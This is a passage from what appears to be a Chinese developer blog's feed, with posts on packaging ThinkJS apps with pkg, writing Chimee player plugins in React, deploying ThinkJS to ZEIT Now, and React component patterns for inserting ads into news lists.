//package.json { &amp;#34;bin&amp;#34;: &amp;#34;pkg.js&amp;#34;, &amp;#34;pkg&amp;#34;: { &amp;#34;assets&amp;#34;: [ &amp;#34;src/**/*&amp;#34;, &amp;#34;view/**/*&amp;#34;, &amp;#34;www/**/*&amp;#34; ], &amp;#34;targets&amp;#34;: [ &amp;#34;node10-linux-x64&amp;#34;, &amp;#34;node10-macos-x64&amp;#34;, &amp;#34;node10-win-x64&amp;#34; ] } } 这里我们指定了 pkg.js 为打包的入口文件，指定了需要编译出 linux, macos, win 三个平台的可执行脚本，同时指定了需要将 src/, view/, www/ 三个目录作为资源一块打包进去。这是因为 ThinkJS 是动态 require 的项目，具体的业务逻辑都是在执行的时候通过遍历文件目录读取文件的形式载入的，对于 pkg 模块打包来说无法在编译的时候知道这些依赖关系，所以需要作为启动依赖的“资源”一块打包进去。
配置好后直接在项目目录下执行 pkg .，如果一切 OK 的话应该能在当前目录中看到三个可执行文件，直接执行对应平台的二进制文件即可启动服务了。
➜ www.thinkjs.org git:(master) npm run pkg-build &amp;gt; thinkjs-official@1.2.0 pkg-build /Users/lizheming/workspace/thinkjs/www.thinkjs.org &amp;gt; pkg ./ --out-path=dist &amp;gt; pkg@4.4.0 ➜ www.thinkjs.org git:(master) ✗ ls -alh dist total 577096 drwxr-xr-x 5 lizheming staff 160B 12 28 17:35 . drwxr-xr-x@ 30 lizheming staff 960B 12 28 17:34 .. -rwxr-xr-x 1 lizheming staff 87M 12 28 17:34 thinkjs-official-linux -rwxr-xr-x 1 lizheming staff 87M 12 28 17:35 thinkjs-official-macos -rw-r--r-- 1 lizheming staff 82M 12 28 17:35 thinkjs-official-win.exe ➜ www.thinkjs.org git:(master) ✗ 后记 项目打包后有一个问题是配置没办法修改了，如果有动态配置的需求的话就不是很方便了。这里提供两个思路解决该问题：
将动态的配置配置到环境变量中，程序通过读取环境变量覆盖默认的配置。 利用 ThinkJS 提供的 beforeStartServer() 钩子在启动前读取真实目录下的配置文件进行配置覆盖。 //pkg.js const path = require(&amp;#39;path&amp;#39;); think.beforeStartServer(() =&amp;gt; { const configFile = path.join(process.cwd(), &amp;#39;config.js&amp;#39;); const config = require(configFile); think.config(config); }); 另外随着项目的复杂度提高，业务内可能会引入大量的第三方模块。前文只是解决了 ThinkJS 项目本身的动态引入问题，如果引入的第三方模块也有动态引入的话也需要在 pkg.assets 配置中显示指定出来。还有就是针对 C++ 模块，pkg 目前还没有办法做到自动引入，同样需要在 pkg.assets 中指定依赖资源。
//package.json { &amp;#34;pkg&amp;#34;: { &amp;#34;assets&amp;#34;: [ //以 node-sqlite3 模块为例 &amp;#34;node_modules/sqlite3/lib/binding/node-v64-darwin-x64/node_sqlite3.node&amp;#34; ] } } 其中 node-v64-darwin-x64 可能会根据平台不一样导致名字不太一样。无法引入 .node 模块的原因是因为 C++ 模块安装的时候会通过 node-gyp 进行动态编译，该操作是和平台相关的。也就是说该特性和 pkg 模块在一个平台上能打包所有平台的二进制包特性是冲突的，毕竟 pkg 模块也没办法在 Mac 平台上编译 Windows 平台的模块。所以在这种情况下除了需要手动引入编译后的 .node 模块之外，还需要注意引入的该 .node 模块和 pkg.targets 指定的编译平台的一致性。
获取 .node 模块除了在对应平台模块安装之外，也可以选择下载其它同学提供编译好的模块。淘宝源上提供了很多二进制模块的编译后结果，以 node-sqlite3 为例，它的所有编译模块可以在 https://npm.taobao.org/mirrors/sqlite3 这里下载，自行选择对应的版本和平台即可。
本文说的打包配置都已在 ThinkJS 官网 项目中实现，想要尝试的同学可以直接克隆官网项目，安装完依赖后执行 npm run pkg-build 即可在 dist/ 目录中获得二进制可执行文件。</description></item><item><title>使用 React 为 Chimee 开发插件</title><link>https://imnerd.org/chimee-plugin-with-react.html</link><pubDate>2019-10-25</pubDate><guid>https://imnerd.org/chimee-plugin-with-react.html</guid><description>Chimee 是由奇舞团开源的一套可扩展的H5组件化播放器框架。由于前段时间业务有视频播放的需求所以使用了它，并基于它提供的插件系统之上开发了一系列的插件，其中最复杂的是控制条插件。由于默认的样式无（实）法（在）满（是）足（太）设（难）计（看）需（了）求（！），所以我们重新开发了一套 lizheing/chimee-plugin-controlbar 并总结一些心得，希望对大家有帮助。
Chimee 插件规范 开篇之前我们先简单的了解下如何开发一款 Chimee 的插件，文档 提供了一个非常简单的示例告诉我们大概的流程。
const plugin = { // 插件名为 controller name: &amp;#39;controller&amp;#39;, // 插件实体为按钮 el: &amp;#39;&amp;lt;button&amp;gt;play&amp;lt;/button&amp;gt;&amp;#39;, data: { text: &amp;#39;play&amp;#39; }, methods: { changeVideoStatus () { this[this.text](); }, changeButtonText (text) { this.text = text; this.$dom.innerText = this.text; } }, // 在插件创建的阶段，我们为插件绑定事件。 create () { this.$dom.addEventListener(&amp;#39;click&amp;#39;, this.changeVideoStatus); }, // 插件会在播放暂停操作发生后改变自己的文案及相应的行为 events: { pause () { this.changeButtonText(&amp;#39;play&amp;#39;); }, play () { this.changeButtonText(&amp;#39;pause&amp;#39;); } } }; // 安装插件 Chimee.install(plugin); const player = new Chimee({ // 播放地址 src: &amp;#39;http://cdn.toxicjohann.com/lostStar.mp4&amp;#39;, // dom容器 wrapper: &amp;#39;#wrapper&amp;#39;, // 使用插件 plugin: [&amp;#39;controller&amp;#39;], }); 通过以上示例代码我们可以发现 Chimee 的插件的规则主要有以下几点：
插件需要暴露一个对象，并带有 name 属性用来标记插件名称，方便后续实例化的时候指定。 HTML 模板相关的内容需要放在 el 属性中，在其它方法中可以通过 this.$dom 访问到 DOM 对象。 data 属性用来存放数据，methods 属性可以用来存放方法。两个属性中的数据可以直接通过 this.xx 的形式访问到。 events() 属性可以放置一些播放器的事件回调，Chimee 会自动做事件的绑定。 从以上发现的几点来看，我们可以大致估摸出插件的简单逻辑。无非就是将 data 和 methods 中的数据绑定到 this 上，然后插入 el 的 HTML 到页面中，然后执行一些对应的生命周期方法。
听起来似乎比较 Vue？虽然写法上是这样的，但是明眼人能看出来其实这个流程还是 DOM 操作，所以必然会碰上原生 DOM 开发的两个问题：
data 虽然能存放数据，但是数据无法直接映射到 el 的 HTML 模板中，导致还是需要回归原本的 DOM 操作。 事件绑定需要等待 DOM 生成后在生命周期中进行手动的绑定，又回到了 DOM 操作时一堆 addEventListener 的年代了。 由于我们的业务是使用 React 开发的，所以就想是否可以通过引入 React 来解决上述 DOM 操作的问题。
React 开发 使用 React 开发虽然能解决上段提到的两个问题，但是插件本身的配置以及生命周期却是不太好在 React 中实现。要想实现插件即组件，组件即插件的场景需要对现有的一些生命周期进行映射，这成本就有点高了。所以最终退而求其次，只有 DOM 这块使用 React，外层依旧是正常的 Chimee 插件的配置。
import React from &amp;#39;react&amp;#39;; import ReactDOM from &amp;#39;react-dom&amp;#39;; import App from &amp;#39;./App&amp;#39;; import Context from &amp;#39;./Context&amp;#39;; export default { Context, name: &amp;#39;plugin-demo&amp;#39;, el: `&amp;lt;div class=&amp;#34;plugin&amp;#34;&amp;gt;&amp;lt;/div&amp;gt;`, create() { ReactDOM.render( &amp;lt;Context.Provider value={this}&amp;gt; &amp;lt;App /&amp;gt; &amp;lt;/Context.Provider&amp;gt;, this.$dom ); } }; Context 解决访问插件方法问题 而为了解决 React 组件内部需要获取 Chimee 的方法的问题，我们通过 Context 的方式将 this 这个 Chimee 插件实例传入，内部通过 Context 获取到实例之后就可以为所欲为了。
import React, { useContext, useState, useEffect } from &amp;#39;react&amp;#39;; import Context from &amp;#39;../Context&amp;#39;; export default function () { const ctx = useContext(Context); const [cur, setCur] = useState(0); useEffect(() =&amp;gt; { ctx.$on(&amp;#39;timeupdate&amp;#39;, () =&amp;gt; setCur(ctx.currentTime)); }, []); return ( &amp;lt;div className=&amp;#34;play--time&amp;#34;&amp;gt;{cur}&amp;lt;/div&amp;gt; ) } 不得不感谢 React Hooks 的出现，让 Context 的 API 变的如此的简单。如果要像之前一样写 &amp;lt;Context.Consumer /&amp;gt; 然后再来个 render props 估计也是够烦的。当然使用 Context 只是为了方便在组件层级比较深的情况下数据的透传，这也是 Context 的本来意义。如果插件的组件层级不深直接使用 Props 传递也是可以的。
事件监听解决外部数据触发更新问题 目前这套插件的模式已经能够满足大部分日常插件的开发了，不过碰到了异步就有点问题了。我们知道的是插件的配置在 new Chimee() 那一刻就已经固定下来了，外部的数据的更新并不会影响内部的配置，也就无法造成插件的更新渲染，毕竟目前 Chimee 没有一个类似 componentWillReceiveProps() 的生命周期。如果 Chimee 自己本身配置都无法更新上，就更遑论触发 React 的更新了。
+--------+ +--------+ +---------------+ +-----------------+ | config +----&amp;gt;+ Chimee +----&amp;gt;+ Chimee Plugin +----&amp;gt;+ React Component | +--------+ +----+---+ +---------------+ +-----------------+ × +----------------+ | | updated config +--× +----------------+ 回到具体的业务场景上，我们有一个需求是控制条需要显示下一条视频的标题和封面图，而这个数据是在业务代码中通过接口获取得到的，所以在最开始实例化播放器的时候我们是没办法传入该数据。最后我们决定用事件监听的方式解决该问题，通过自定义事件进行跨组件层级的数据传递。
+--------+ +--------+ +---------------+ +-----------------+ | config +----&amp;gt;+ Chimee +----&amp;gt;+ Chimee Plugin +----&amp;gt;+ React Component | +--------+ +--------+ +---------------+ +--------+--------+ ^ +----------------+this.$emit(&amp;#39;customEvent&amp;#39;)+-----------------+--------+ | updated config +------------------------&amp;gt;+ this.$on(&amp;#39;customeEvent&amp;#39;) | +----------------+ +--------------------------+ 多插件先后问题 随着业务越来越复杂，播放器在同一事件要处理的事情越来越多，例如我们碰到的片尾需要先播放片尾广告，广告播放完之后显示倒计时，倒计时后再触发播放下一条的动作。如何在同一个事件中保证三者的顺序成了本次需求的关键。
好在当初 Chimee 在设计之初就已经考虑到了这个问题。先执行的回调只要返回 false 即可阻止整个事件，当该插件完成任务后只要重新触发事件即可。
import React, {useEffect} from &amp;#39;react&amp;#39;; import Context from &amp;#39;./context&amp;#39;; export default function() { const ctx = useContext(Context); useEffect(() =&amp;gt; { const onEnded = event =&amp;gt; { if(event === &amp;#39;manual&amp;#39;) { return true; } setTimeout(() =&amp;gt; ctx.$emit(&amp;#39;ended&amp;#39;, &amp;#39;manual&amp;#39;), 10000); return false; }; ctx.$on(&amp;#39;ended&amp;#39;, onEnded); return () =&amp;gt; ctx.$off(&amp;#39;ended&amp;#39;, onEnded); }); return (&amp;lt;div&amp;gt;推迟10秒后结束&amp;lt;/div&amp;gt;); } 在 ended 事件触发后使用 return false 阻止事件，然后等事件执行完毕之后使用 ctx.$emit('ended', 'manual') 重新触发事件。这里有个需要注意的地方，后者触发的事件中又会再次将当前插件注册的回调事件执行一遍，所以这里增加了第二个参数用来让回调方法判断是否是插件自己触发的，如果是自己触发的则表示无须再次执行直接跳过。
后记 Chimee 的插件系统可扩展性比较强，如果对其比较感兴趣的可以看看官方的这篇《为什么要将 Chimee 设计成一个组件化框架？》。使用 React 开发插件解决了事件和数据绑定的问题，该开发模式下基本上就是废弃了官方自己提供的 data, methods 和 events 三个属性，前两者自然是由 React 内部的 state 和方法提供，后者则是自行在组件内部使用 ctx.$on 的形式手动监听。</description></item><item><title>如何将你的 ThinkJS 项目部署到 ZEIT 上</title><link>https://imnerd.org/how-to-deploy-thinkjs-to-now-sh.html</link><pubDate>2019-03-01</pubDate><guid>https://imnerd.org/how-to-deploy-thinkjs-to-now-sh.html</guid><description>什么是 ZEIT ZEIT 是免费的云平台，支持部署静态网站以及 Serverless 函数。Serverless 是近几年比较火的概念，简单去理解就是你只需要去实现具体的业务逻辑，而与最终服务相关的服务器、HTTP 服务等则由第三方管理。Serverless 又被称为 FaaS（函数即服务），由于业务粒度非常细，所以非常方便做动态扩容等自动化运维任务。
//一个最简单的基于 Node.js 的 Serverless 函数 module.exports = function(req, res) { const { name = &amp;#39;World&amp;#39; } = req.query res.send(`Hello ${name}!`) } 通过 ZEIT 提供的 CLI 工具 now，我们可以一条命令将 Node.js, Golang, Python, Ruby, PHP, Rust 等语言的应用部署到 ZEIT 上。如果你想了解更多关于 ZEIT 这个公司的知识也可以看这篇知乎回答了解更多。
如何使用 ZEIT 注册非常方便，打开 https://zeit.co 点击右上角的 &amp;ldquo;Join Free&amp;rdquo;，使用 Github 或者 Gitlab 账号登录后会自动注册。当然你也可以使用邮箱注册，会发送一封确认邮件到你的邮箱。登录后会让你填写昵称、头像和唯一 ID等配置。
选择 Continue 之后如果是通过邮箱登录进来的会问你是否需要绑定 Github 账号，可以让 Github 与 ZEIT 之间的持续集成更加方便，当然你也可以选择 SKIP 跳过。最后一步则会指导你如何创建项目，它提供了很多快速创建的模板，例如 Next.js, React, Vuepress, Gatsby, Docz, Nuxt.js, Svelte, Angular。
按照示例使用 npm install -g now 安装 CLI 工具，初始化项目后直接使用 now 命令即可发布到 ZEIT 上，整体流程非常简单。
部署 Koa.js 服务 通过刚才的示例我们可以了解到其实它的本质就是将 HTTP 请求的 request和response传入方法中，处理后再返回给 HTTP，所以它除了 Serverless 函数之外也是完全支持 Koa.js 以及基于 Koa.js 的 ThinkJS 服务部署的。我们先来看看如果要部署一个 Koa.js 服务应该怎么做。
Fork 快速部署 由于 ZEIT 官方主推 Serverless 服务，所以把 Node.js 的脚手架模板去除掉了，所以我们只能自己创建项目了，为了方便我提供了一个 DEMO 仓库 https://github.com/lizheming/now-koa-demo。如果在刚才的注册流程中你绑定了 Github 的账号的话你可以选择直接 Fork 该仓库，等一小会儿之后就会收到 ZEIT 的 Github 通知告诉你网站已经部署成功，并在 commit 中提供部署后的地址。
命令行部署 如果没有绑定 Github 账户也没关系，我们可以通过命令行部署服务。将 DEMO 仓库克隆下来后直接使用 now 命令就可以了。部署成功后 ZEIT 会给我们返回一个当前提交版本的唯一地址，比如说 https://now-koa-demo-pac7dbxrf.now.sh/ 打开之后就会见到 Hello from koa.js! 的返回信息。
注意事项 index.js 文件内容与正常的 Koa.js 项目代码无异，唯一的区别是最终项目没有直接调 app.listen() 方法进行监听，而是使用 module.exports = app.callback() 将最终的 callback 方法进行了返回。我们知道 app.callback() 方法返回的是接受 request 和 response 对象作为参数的函数，这就回到了文章最开始的示例了。
我们再来看看 now.json 的内容。该 JSON 文件用于告诉 now 服务 index.js 文件需要使用 @now/node 运行时执行，而所有的请求需要转发到 index.js 文件上。听起来是不是非常像 Nginx 上的内容？
{ &amp;#34;version&amp;#34;: 2, &amp;#34;builds&amp;#34;: [ { &amp;#34;src&amp;#34;: &amp;#34;index.js&amp;#34;, &amp;#34;use&amp;#34;: &amp;#34;@now/node&amp;#34; } ], &amp;#34;routes&amp;#34;: [ { &amp;#34;src&amp;#34;: &amp;#34;/(.*)&amp;#34;, &amp;#34;dest&amp;#34;: &amp;#34;/index.js&amp;#34; } ] } 部署 ThinkJS 服务 成功部署 Koa.js 服务之后，下面我们就来看看怎么给你的 ThinkJS 服务找一个免费空间部署上去吧！为了方便我也提供了一个 DEMO 仓库 https://github.com/lizheming/now-thinkjs-demo，Fork 该仓库可快速体验 Now 部署 ThinkJS 服务。Fork 成功后过一会就会收到部署成功后的提示，同时告知你部署后的唯一地址，例如 https://now-thinkjs-demo-hrmqxxv2p.now.sh/。
然而这只是我折腾成功后的结果，基于 ThinkJS 的服务直接部署并没有部署 Koa.js 服务那么简单，这主要是由 ThinkJS 框架本身的特性决定的。下面我将其中需要注意的点一一道来，方便其它已有服务的迁移。我们先来看看针对 ZEIT 平台的 ThinkJS 启动文件有那些内容。然后我们基于该文件主要讲述下碰到的问题以及为什么需要这么做。
const path = require(&amp;#39;path&amp;#39;); const Application = require(&amp;#39;thinkjs&amp;#39;); const Loader = require(&amp;#39;thinkjs/lib/loader&amp;#39;); class NowLoader extends Loader { writeConfig() {} } const app = new Application({ ROOT_PATH: __dirname, APP_PATH: path.join(__dirname, &amp;#39;src&amp;#39;), VIEW_PATH: path.join(__dirname, &amp;#39;view&amp;#39;), proxy: true, // use proxy env: &amp;#39;now&amp;#39;, external: { log4js: { stdout: path.join(__dirname, &amp;#39;node_modules/log4js/lib/appenders/stdout.js&amp;#39;), console: path.join(__dirname, &amp;#39;node_modules/log4js/lib/appenders/console.js&amp;#39;) }, static: { www: path.join(__dirname, &amp;#39;www&amp;#39;) } } }); const loader = new NowLoader(app.options); loader.loadAll(&amp;#39;worker&amp;#39;); module.exports = function (req, res) { return think.beforeStartServer().catch(err =&amp;gt; { think.logger.error(err); }).then(() =&amp;gt; { const callback = think.app.callback(); return callback(req, res); }).then(() =&amp;gt; { think.app.emit(&amp;#39;appReady&amp;#39;); }); }; 服务启动问题 刚才部署 Koa.js 的时候我们知道了，ZEIT 运行时接受的文件需要返回一个函数。在 Koa.js 中是 app.callback()，而在 ThinkJS 中则是 think.app.callback() 。不过我们却不能直接这么返回，因为从源码中我们可以了解到 ThinkJS 服务启动做了以下几件事情：
初始化 Loader 实例，在对应的进程上加载需要的文件，包括 config, middleware, controller, logic, model, service 等。 执行 beforeStartServer() 启动前钩子 启动服务 启动后向全局发送 appReady 事件 目前 ThinkJS 服务中并没有纯粹的非启动方法包含这些内容，所以我选择了在启动脚本中模拟正常的启动流程自定义启动过程的方式。由于多进程逻辑稍微复杂点，所以我直接按照单进程模式模拟。
实例化 Loader，使用 loader.loadAll('worker') 加载所有的依赖文件 在回调中执行 beforeStartServer() 启动前钩子 执行 callback() 启动服务 启动后向全局发送 appReady 事件 文件引用问题 项目文件相对引用 我们知道 ThinkJS 的本质是文件夹即路由的模式，Controller, Model, View 等文件按照一定的文件夹规则放置，通过动态读取文件的形式找到对应的文件并加载执行。这在正常的项目中本来不存在什么问题，但是 ZEIT Now 平台为了节省空间，会对在入口文件中没有显示依赖的文件进行忽略。
我们正常的启动文件中只会定义 APP_PATH ，而 VIEW_PATH 甚至是静态资源目录是在 src/config/adapter.js 以及 src/config/middleware.js 中定义的。而这两个文件又是动态读取文件引入的，导致在上传的时候由于没有显式依赖该文件而不上传该文件。所以为了解决这个问题，我选择了在启动文件中再次显示声明一下需要加载的文件。当然这些配置对 ThinkJS 来说是没有用的。 依赖文件相对引用 可以看到，除了正常的项目文件的引用之外，我还写了两个 log4js 文件的引用，这又是为什么呢？
主要还是因为 ZEIT 为了节省体积，除了会限制只上传需要的文件之外，还会针对入口文件使用 webpack 进行打包。使用 webpack 打包后所有的依赖都在入口文件中了，这样就不用上传硕大的 node_modules 文件夹，可以极大的减小体积。ZEIT 将该针对 Node.js 项目打包成单文件的打包工具开源出来了 https://github.com/zeit/ncc 如果项目中有需要打包成单文件减小体积的需求也可以使用。
而 log4js 非常早期的版本中是通过 require(./${type}) 的形式将对应的日志输出器加载进来的。由于打包后目录结构发生变化，打包后当前文件夹并没有对应的文件，所以会导致执行的时候报文件找不到的错误。所以为了解决这个问题则同样需要在入口文件中显式的声明这些文件的依赖。
去年2月份就有用户针对这个问题提了 Commit 将所有的加载器显式依赖后再进行选择解决了这个问题。所以在新版 log4js 的中已经不存在这个问题了，不过我还是在这里说明一下，是因为可能项目中引用的其它依赖会有这个问题，还是需要注意一下的。
写入权限问题 除了上面的问题之外，部署的时候我还碰到了文件写入无权限的问题。由于 ZEIT Now 提供无状态服务，所以写入文件等副作用操作在 ZEIT 中被禁止了。如果你有文件写入操作的话会在控制台中提示写入失败并抛错。
而在 ThinkJS 中由于各种配置文件比较多，为了方便问题排查，会在配置文件加载完成后调用 writeConfig() 方法写一份最终合并后的配置在 runtime 目录中，例如 runtime/config/production.json 文件。这样的话在 ZEIT 平台就会报错导致服务无法正常启动了。
不过目前 ThinkJS 并没有提供一个配置能够取消这个配置文件写入的操作。所以我提供的解决方法则是通过继承将 writeConfig() 方法复写掉来组织文件写入的操作。
当然这是 ThinkJS 本身的文件写入操作，如果说你的项目中还有其它文件写入操作的话，也需要做对应的操作。例如 logger 日志的配置可以输出到控制台，文件上传等必须写入文件的则可以写到系统临时目录 /tmp 中。不同的系统临时目录可能不太一样，Node.js 中建议通过 require('os').tmpdir() 来获取。
后记 通过 ZEIT 平台，极大的降低了部署 Node.js 服务的成本，不仅是机器成本，维护成本也极大的降低了。其实正常的 Node.js 项目部署起来还是非常方便的，主要还是 ThinkJS 的依赖引用并非显式的，导致了在打包上的一些困难，其它的都还是很方便的。如果有什么其它的问题，也欢迎大家多多交流。
参考资料：
如何透過 ZEIT 方便快捷地部署免費的 Node.js 項目？</description></item><item><title>使用 Hooks 优化 React 组件</title><link>https://imnerd.org/optimize-react-components-by-using-hooks.html</link><pubDate>2019-03-26</pubDate><guid>https://imnerd.org/optimize-react-components-by-using-hooks.html</guid><description>需求描述 由于我所在的业务是资讯内容类业务，因而在业务中会经常碰到如下场景：有一个内容列表，列表中需要按照一定的规则插入广告。除了获取广告数据，广告展现和点击后需要有打点上报逻辑。正常来说我们会这么写：
import React from &amp;#39;react&amp;#39;; export default class extends React.Component { state = {newsData: [], adData: []}; constructor() { this.getNewsData(); } getNewsData() { const newsData = [...]; this.setState({newsData}); this.getAdData(newsData.length / 2); //根据新闻数和插入规则换算广告请求数 } getAdData() { const adData = [...]; this.setState({adData}); } render() { const {newsData, adData} = this.state; const comps = []; for(let i = 0; i &amp;lt; newsData.length; i++) { // 根据插入规则判断当前新闻卡片后是否要插入广告 comps.push(&amp;lt;NewsCard {...newsData[i]} key={`news-${i}`} /&amp;gt;); if(i % 2) { comps.push(&amp;lt;AdCard {...adData[i/2]} key={`ad-${i}`} /&amp;gt;); } } return (&amp;lt;div&amp;gt;{comps}&amp;lt;/div&amp;gt;); } } class AdCard extends React.Component { componentDidMount() { observe(this.dom, () =&amp;gt; {}); } onClick = () =&amp;gt; {}; onMouseUp = () =&amp;gt; {}; onMouseDown = () =&amp;gt; {}; getDOM = dom =&amp;gt; this.dom = dom; render() { return &amp;lt;div ref={this.getDOM} onMouseUp={this.onMouseUp} onMouseDown={this.onMouseDown} onClick={this.onClick} &amp;gt;{this.props.title}&amp;lt;/div&amp;gt; } } 逻辑非常的简单，getNewsData() 拿到资讯列表数据之后计算需要请求的广告数调用 getAdData() 请求广告数据，最后根据插入规则将资讯和内容渲染到列表中。广告使用自定义组件渲染，使用 Intersection Observe API 实现广告曝光打点，监听 DOM 对应的点击时间实现广告点击打点。
如果说只有一个组件是这样的还好说，但是从上图可以看出，我们有大量的内容+广告混排场景。整体的逻辑和刚才说的都是一样的，唯一的区别是不同的列表对应不一样的显现形式。在这种情况下如何设计一个既能将通用逻辑提取，又能满足各个模块的自定义需求的通用模块就成了我们必须考虑的事情了。
React 组件设计模式 在具体讨论方案之前，我们先简单的了解一下常见的 React 组件设计模式。基本上分为以下几种方案：
Context 模式 组合组件 继承模式 容器组件和展示组件 Render Props Hoc 高阶组件 其中 Context 模式多用来在多层嵌套组件中进行跨组件的数据传递，针对我们当前组件层级不多的情况用处不是非常大，这里就不多表。我们来看看剩下的几个模式各自有什么优缺点，最终来评估下是否能应用到我们的场景中。
组合组件 组合组件是通过模块化组件构建应用的模式，它是 React 模块化开发的基础。除去普通的按照正常的业务功能进行模块拆分，还有就是将配置和逻辑进行解耦的组合组件方式。例如下面的组合方式就是利用类似 Vue 的 slot 方式将配置通过子组件的形式与 &amp;lt;Modal /&amp;gt; 组件进行组合，是的组件配置更优雅。
&amp;lt;Modal&amp;gt; &amp;lt;Modal.Title&amp;gt;Modal Title&amp;lt;/Modal.Title&amp;gt; &amp;lt;Modal.Content&amp;gt;Modal Content&amp;lt;/Modal.Content&amp;gt; &amp;lt;Modal.Footer&amp;gt; &amp;lt;button&amp;gt;OK&amp;lt;/button&amp;gt; &amp;lt;/Modal.Footer&amp;gt; &amp;lt;/Modal&amp;gt; 又如下面的下拉选择组件，通过将 &amp;lt;Select/&amp;gt; 和 &amp;lt;Option&amp;gt; 进行组合，即达到了组件化配置的目的，又达到了通用方法的复用。同时将点击操作在 &amp;lt;Select/&amp;gt; 组件中直接传递下去方便了点击后直接修改选择状态。
export default function(props) { return React.Children.map(props.children, child =&amp;gt; React.cloneElement(child, {onClick() { console.log(&amp;#39;click&amp;#39;) }} )); } &amp;lt;Select&amp;gt; &amp;lt;Option&amp;gt;Click Me!&amp;lt;/Option&amp;gt; &amp;lt;Option&amp;gt;Click Me!&amp;lt;/Option&amp;gt; &amp;lt;/Select&amp;gt; 继承模式 继承模式是使用类继承的方式对组件代码进行复用。在面向对象编程模式中，继承是一种非常简单且通用的代码抽象复用方式。如果大部分逻辑相同，只是一些细节不一致，只要简单的将不一致的地方抽成成员方法，继承的时候复写该成员方法即可达到简单的组件复用。
不过我们知道 JS 中的集成本质上还是通过原型链实现的语法糖，所以在一些场景使用上没有其它语言的继承那么方便，例如无法直接实现多继承，多继承后的跨层级方法调用比较麻烦，适合简单的逻辑复用。另外通过继承方式会将父类中的所有方法都继承过来，不小心的话非常容易继承到不需要的功能。
容器组件和展示组件 展示组件和容器组件是将数据逻辑和渲染逻辑进行拆分从而降低组件复杂度的模式。使用容器组件可以把最开始的代码改写成如下的形式。这样做最大的好处是渲染层可以抽离成无状态组件，它不需要关心数据的获取逻辑，直接通过 props 获取数据渲染即可，针对展示组件能实现很好的复用。
class NewsList extends React.Component { state = {newsData: [], adData: []}; constructor() { this.getNewsData(); } getNewsData() { this.getAdData(newsData.length / 2) } getAdData() {} render() { return &amp;lt;List news={this.state.newsData} ad={this.state.adData} /&amp;gt; } } function List({news, ad}) { const {newsData, adData} = this.state; const comps = []; for(let i = 0; i &amp;lt; newsData.length; i++) { comps.push(&amp;lt;NewsCard {...newsData[i]} key={`news-${i}`} /&amp;gt;); if(i % 2) { comps.push(&amp;lt;AdCard {...adData[i/2]} key={`ad-${i}`} /&amp;gt;); } } return (&amp;lt;div&amp;gt;{comps}&amp;lt;/div&amp;gt;); } 但是我们也可以看到即使我们把渲染逻辑拆分出去了，本身组件的数据逻辑还是非常的复杂，没有做到很好的拆分。同时容器组件和展示组件存在耦合关系，所以无法很好的对逻辑组件进行复用。
Render Props 术语 “render prop” 是指一种在 React 组件之间使用一个值为函数的 prop 共享代码的简单技术 via: Render Props
它的本质实际上是通过一个函数 prop 将数据传递到其它组件的方式，所以按照这个逻辑我们又可以将刚才的代码简单的改写一下。
class NewsList extends React.Component { state = {newsData: [], adData: []}; constructor() { this.getNewsData(); } getNewsData() { this.getAdData(newsData.length / 2) } getAdData() {} render() { return this.props.render(this.state) } } function List({news, ad}) { const {newsData, adData} = this.state; const comps = []; for(let i = 0; i &amp;lt; newsData.length; i++) { comps.push(&amp;lt;NewsCard {...newsData[i]} key={`news-${i}`} /&amp;gt;); if(i % 2) { comps.push(&amp;lt;AdCard {...adData[i/2]} key={`ad-${i}`} /&amp;gt;); } } return (&amp;lt;div&amp;gt;{comps}&amp;lt;/div&amp;gt;); } &amp;lt;NewsList render={({newsData, adData}) =&amp;gt; &amp;lt;List news={newsData} ad={adData} /&amp;gt; 可以看到，通过一个函数调用我们将数据逻辑和渲染逻辑进行解耦，解决了之前数据逻辑无法复用的问题。不过通过函数回调的形式将数据传入，如果想要把逻辑拆分（例如资讯数据获取与广告数据获取逻辑拆分）会变得比较麻烦，让我想起了被 callback 支配的恐惧。
同时由于 render 的值为一个匿名函数，每次渲染 &amp;lt;NewsList /&amp;gt; 的时候都会重新生成，而这个匿名函数执行的时候会返回一个 &amp;lt;List /&amp;gt; 组件，这个本质上每次执行也是一个“新”的组件。所以 Render Props 使用不当的话会非常容易造成不必要的重复渲染。
HoC 组件 React 里还有一种使用比较广泛的组件模式就是 HoC 高阶组件设计模式。它是一种基于 React 的组合特性而形成的设计模式，它的本质是参数为组件，返回值为新组件的函数。我们来看看刚才的代码使用 HoC 组件修改后会变成什么样子。
function withNews(Comp) { return class extends React.Component { state = {newsData: []}; constructor() { this.getNewsData(); } render() { return &amp;lt;Comp {...this.props} news={this.state.newsData} /&amp;gt; } } } function withAd(Comp) { return class extends React.Component { state = {adData: []}; componentWillReceiveProps(nextProps) { if(this.props.news.length) { this.getAdData(); } } render() { return &amp;lt;Comp {...this.props} ad={this.state.adData} /&amp;gt; } } } const ListWithNewsAndAd = withAd(withNews(List)); 可以看到这次改动最激动的地方在于我们第一次把数据逻辑进行了拆分，这也是高阶组件的魅力，它不局限于 UI 复用，使得代码复用更加自由（当然 Render Props 也是可以实现的）。
当然这种模式也并不是完美的，它也有它的缺点。我们可以看到它的本质是通过 props 在高阶组件中将多个数据传入到子组件中，非常类似 mixin 的形式。所以它也会有 mixin 的缺点，那就是属性名冲突的问题。由于不同的高阶组件由不同的开发者开发，内部会传递什么样的属性名到子组件中就成了未知数。同时多层组件的嵌套导致组件层级过多，在性能和调试上都会带来问题。
初版实现 了解完这些设计模式之后，我们再回头来看看我们的需求。通过观察了解不同的组件中的共同部分之后，我们可以将这种类型的组件抽象为如下描述“在一个内容列表中按照一定规则插入一定数量的和内容一致的一定样式的广告组件”。在这段描述中存在着三个不定因素：
一定规则：不同的组件插入广告的逻辑是不一样的 一定数量：不同的组件由于资讯内容的不同，插入逻辑的不同导致需要的广告数量也是不一样的 一定样式：不同的组件由于资讯内容样式不同所以广告的样式自然也不相同 除却以上三个因素之外，广告其它的逻辑广告数据的获取以及广告的曝光和点击打点等都是通用的。最后我们将广告组件的逻辑顺着之前了解的设计模式抽离成三个部分：
